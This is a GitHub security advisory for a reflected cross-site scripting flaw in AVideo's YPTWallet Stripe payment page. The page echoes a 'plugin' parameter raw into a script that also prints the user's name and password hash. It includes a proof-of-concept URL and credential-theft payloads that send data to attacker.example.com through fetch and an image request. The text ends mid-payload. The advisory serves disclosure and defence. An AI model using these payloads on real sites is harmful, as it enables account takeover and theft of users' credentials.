GitHub Security Advisory: GHSA-pm37-62g7-p768
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.2)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page

Details:
## Summary

The YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST['plugin']` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework's input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.

The same script block also outputs the current user's username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials.

## Details

The Stripe confirmation page renders the `plugin` parameter directly into a `<script>` block:

```php
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
```

This appears inside a `$.ajax()` data object within a `<script>` tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.

The `plugin` parameter is not present in any of the sanitization or filtering arrays in `security.php`, so it arrives completely unmodified.

Immediately adjacent to the injection point, the script also exposes user credentials:

```php
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118
"user": "<?php echo User::getUserName() ?>",
"pass": "<?php echo User::getUserPass(); ?>",
```

No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.

## Proof of Concept

The XSS is reachable through the `addFunds.php` page which includes the vulnerable `confirmButton.php` template:

```
https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*
```

The injected value closes the JSON string and the `$.ajax()` call, then executes `alert(document.domain)`. The response contains the payload unencoded in the script block:

```javascript
"plugin": ""}})});alert(document.domain);console.log({/*",
```

Credential exfiltration payload:

```
https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:"
```

Simplified credential theft using the same-page credential leak:

```html
<!-- Host this on attacker.example.com and send the link to a victim -->
<html>
<body>
<script>
  // The confirmButton.php page outputs user/pass in the script block.
  // XSS lets us read it directly.
  var payload = encodeURIComponent(
    '",x:(function(){' +
    'var s=document.querySelector("script").textContent;' +
    'var u=s.match(/"user":"([^"]+)"/)[1];' +
    'var p=s.match(/"pass":"([^"]+)"/)[1];' +
    'new Image().src="https://attacker.example.com/log?u